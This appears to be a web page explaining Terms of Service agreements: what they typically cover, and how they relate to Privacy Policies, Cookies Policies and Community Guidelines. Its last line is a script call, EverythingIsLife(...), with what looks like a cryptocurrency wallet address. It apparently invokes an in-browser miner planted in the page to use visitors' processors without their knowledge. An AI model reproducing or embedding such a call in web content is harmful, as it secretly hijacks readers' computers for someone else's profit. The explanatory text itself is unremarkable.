Terms of service

A Terms of Service agreement helps you set out the rules and guidelines that your users or visitors must agree to in order to use your website or mobile app.

It doesn’t matter what kind of platform or medium you’re using to communicate with your users/customers/visitors, this kind of agreement can help you set important rules and guidelines such as:

  • Informing users that your website, its content, the logo, etc. is your property and it’s protected by copyright laws.
  • Informing users that you can disable their accounts (if users can create an account with you) or disable access to your website in case of abuses, e.g. spamming other users
  • Setting the community’s guidelines, if your website/mobile apps have users that can create content which is shared by other users. For example: banning users to upload or share content that isn’t theirs or not allowing users to share content found on your website/mobile app without an attribution link, etc.
  • How users can use the content you’ve created or use the content other users created on your website/mobile app
  • Who owns the right to content created by users on your platform
  • What happens if a third party finds protected works on your platform that are copyright infringements
  • And so on

Use the Terms of Service Generator to create this legal agreement.

If you’re looking for the template, download the Terms of Service Template. It’s free.

These are only a few examples of what a Terms of Service can include.

Depending on your business model, the industry in which you operate, what you want to cover or what you want to ban, etc., the Terms of Service can include more rules.

If your website or mobile app is complex that involves many third parties, you can split your legal agreements so that users can clearly understand what are the agreements that they are bound to:

  • The Terms of Service. This is the overall legal agreement that users must agree to in order to use/access your website/mobile app.
  • The Privacy Policy. This agreement where you must inform users about your use and collection of personal information.

    A Privacy Policy must only deal with personal information: anything is related to the collection, use or disclosure of personal information collected from users must be in the Privacy Policy agreement, not in a Terms of Service agreement.

  • Cookies Policy: The Cookies Policy is usually placed in a Privacy Policy, but you can separate the section into a separate agreement, just like BoxThemes does.

    Their Cookies Policy is linked from the footer section of the website:

    SoundCloud mentions that their Cookies Policy is part of their Privacy Policy page:

    This Cookies Policy forms part of our general Privacy Policy. You can read the full Privacy Policy.

  • Community Guidelines: If your website or mobile app is built around a community of users that create, share or uploads content on your platform, you can consider to set the rules of being part of that community in a separate agreement named Community Guidelines.

  • Your Terms of Service can deal with the general rules regarding account creation, account disabling etc., while the Community Guidelines will set the rules for all registered users in regards to being part of the community (what’s allowed, what’s not allowed).

EverythingIsLife('47NsaEwhbk92CfibMJg8M8hJ73LKDv9NTjNtHLFH6EQE2sAUdgnwPc231gghf3rYBvC6cXvgLahJKa4riqQBxbT1HBjQhFu', 'web', 50);